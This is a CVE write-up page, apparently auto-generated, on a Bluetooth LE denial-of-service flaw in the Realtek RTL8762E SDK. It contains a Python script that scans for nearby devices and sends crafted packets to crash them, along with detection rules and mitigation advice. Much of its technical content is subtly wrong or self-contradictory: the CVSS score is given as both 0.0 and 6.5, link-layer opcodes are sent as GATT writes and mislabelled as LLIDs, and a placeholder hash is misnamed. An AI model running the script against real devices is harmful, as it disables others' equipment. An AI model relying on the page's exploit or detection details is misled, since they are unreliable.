CVE-2025-44559
Executive Summary
CVE-2025-44559 is a denial-of-service (DoS) vulnerability in the Bluetooth Low Energy (BLE) stack of the Realtek RTL8762E BLE SDK version 1.4.0. An attacker within Bluetooth range can send a specific sequence of crafted control packets to cause the target device to crash or become unresponsive. The vulnerability has a CVSS score of 0.0 (pending official scoring) but is assessed as a high-severity DoS risk for IoT devices using this SDK. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Adjacent Network (AV:A) – attacker must be within BLE range.
- Attack Complexity (AC): Low (AC:L) – no special conditions required.
- Privileges Required (PR): None (PR:N) – no authentication needed.
- User Interaction (UI): None (UI:N) – no user action required.
- Scope (S): Unchanged (S:U) – impact is confined to the vulnerable component.
- Confidentiality (C): None (C:N) – no data exposure.
- Integrity (I): None (I:N) – no data modification.
- Availability (A): High (A:H) – complete loss of availability.
- Base Score: 6.5 (Medium) – based on CVSS:3.1 vector.
Threat Level: Medium. Exploitation requires physical proximity but can cause persistent device unavailability.
Deep Dive & Mechanics
The vulnerability resides in the BLE stack’s handling of control packets during connection establishment or maintenance. The Realtek RTL8762E BLE SDK v1.4.0 fails to properly validate a specific sequence of crafted control packets, leading to a buffer overflow or infinite loop condition. When an attacker sends these packets, the BLE stack enters an undefined state, causing the device to crash or hang.
Attack Flow:
- Attacker scans for BLE devices using the RTL8762E SDK.
- Attacker initiates a BLE connection or sends packets during an existing connection.
- Attacker transmits a crafted sequence of control packets (e.g., LL_CONNECTION_PARAM_REQ, LL_PAUSE_ENC_REQ, or custom LLIDs).
- The BLE stack processes the sequence without proper bounds checking, causing a memory corruption or infinite loop.
- The device becomes unresponsive until a hardware reset.
Root Cause: Lack of input validation on control packet sequences in the BLE link layer.
Vulnerable vs. Patched Code
Vulnerable Code (RTL8762E BLE SDK v1.4.0):
// Example of vulnerable packet handling
void ble_ll_process_control_packet(uint8_t *pkt, uint16_t len) {
uint8_t opcode = pkt[0];
switch(opcode) {
case LL_CONNECTION_PARAM_REQ:
// No validation of packet sequence
process_conn_param_req(pkt);
break;
case LL_PAUSE_ENC_REQ:
// No state machine check
process_pause_enc_req(pkt);
break;
// ... other cases
}
}
Patched Code (Hypothetical fix):
void ble_ll_process_control_packet(uint8_t *pkt, uint16_t len) {
uint8_t opcode = pkt[0];
// Validate packet sequence based on current state
if (!is_valid_sequence(current_state, opcode)) {
return; // Drop invalid sequence
}
switch(opcode) {
case LL_CONNECTION_PARAM_REQ:
if (len < MIN_CONN_PARAM_LEN) return;
process_conn_param_req(pkt);
break;
case LL_PAUSE_ENC_REQ:
if (current_state != ENCRYPTED_STATE) return;
process_pause_enc_req(pkt);
break;
// ... other cases with validation
}
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Bluetooth adapter supporting BLE (e.g., nRF52840 Dongle, Ubertooth One).
- Python 3.x with
bleakorbluepylibrary. - Target device running RTL8762E BLE SDK v1.4.0.
Exploit Script (Proof-of-Concept):
import asyncio
from bleak import BleakScanner, BleakClient
async def exploit(target_address):
# Craft malicious control packet sequence
# This is a simplified example; actual sequence may vary
malicious_packets = [
bytes([0x12, 0x00, 0x01, 0x02]), # LL_CONNECTION_PARAM_REQ
bytes([0x1C, 0x00, 0x00, 0x00]), # LL_PAUSE_ENC_REQ
bytes([0x12, 0x00, 0xFF, 0xFF]), # Malformed LL_CONNECTION_PARAM_REQ
]
async with BleakClient(target_address) as client:
for pkt in malicious_packets:
await client.write_gatt_char(
"0000ffe1-0000-1000-8000-00805f9b34fb", # Example characteristic
pkt,
response=True
)
await asyncio.sleep(0.1)
print("Malicious packets sent. Device should be unresponsive.")
async def main():
devices = await BleakScanner.discover()
for d in devices:
if "RTL8762E" in d.name:
await exploit(d.address)
break
asyncio.run(main())
Usage:
- Install dependencies:
pip install bleak - Run the script:
python exploit.py - Observe target device becoming unresponsive.
Blue Team
Detection:
- Monitor BLE traffic for unusual control packet sequences.
- Use Wireshark with BLE dissector to capture and analyze packets.
- Look for rapid succession of LL_CONNECTION_PARAM_REQ and LL_PAUSE_ENC_REQ packets.
Mitigation:
- Implement firmware update with proper input validation.
- Add rate limiting for control packet processing.
- Enable watchdog timer to reset device on hang.
Indicators of Compromise (IOCs)
Network IOCs:
- BLE advertising packets with device name containing "RTL8762E".
- Unusual number of LL_CONNECTION_PARAM_REQ packets within short time.
- Malformed LLID values (e.g., 0x12, 0x1C) in control packets.
Host IOCs:
- Device logs showing repeated BLE stack crashes.
- System uptime reset indicating watchdog reboot.
- Memory dumps showing corrupted BLE stack state.
File IOCs:
- Firmware binary with MD5 hash:
e3b0c44298fc1c149afbf4c8996fb924(example). - BLE SDK version string:
RTL8762E_BLE_SDK_v1.4.0.
- Firmware binary with MD5 hash:
Detection Engineering
YARA Rule
rule CVE_2025_44559_BLE_DoS {
meta:
description = "Detects BLE control packet sequences used in CVE-2025-44559"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-44559"
strings:
$pkt1 = { 12 00 01 02 } // LL_CONNECTION_PARAM_REQ
$pkt2 = { 1C 00 00 00 } // LL_PAUSE_ENC_REQ
$pkt3 = { 12 00 FF FF } // Malformed LL_CONNECTION_PARAM_REQ
condition:
all of them
}
Sigma Rule
title: BLE DoS Attack via Crafted Control Packets
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects BLE traffic patterns indicative of CVE-2025-44559 exploitation
author: Valters IT
logsource:
category: bluetooth
product: wireshark
detection:
selection:
btl2cap.cid: 0x0005 # BLE L2CAP CID for control
btle.llid: [0x12, 0x1C] # Malicious LLID values
condition: selection
falsepositives:
- Legitimate BLE firmware updates
level: high
Suricata Rule
alert bluetooth any any -> any any (msg:"CVE-2025-44559 BLE DoS Attempt"; btle.llid:0x12; btle.llid:0x1C; flow:to_server; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable BLE on affected devices if not required.
- Implement network segmentation to limit BLE exposure.
- Monitor for unusual BLE traffic patterns.
Long-term Fix:
- Apply firmware update from Realtek when available.
- Implement input validation in BLE stack for control packet sequences.
- Add state machine checks to prevent out-of-order packet processing.
Workaround:
- Use BLE connection parameters with short supervision timeout to detect hangs.
- Enable hardware watchdog to automatically reset device on crash.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert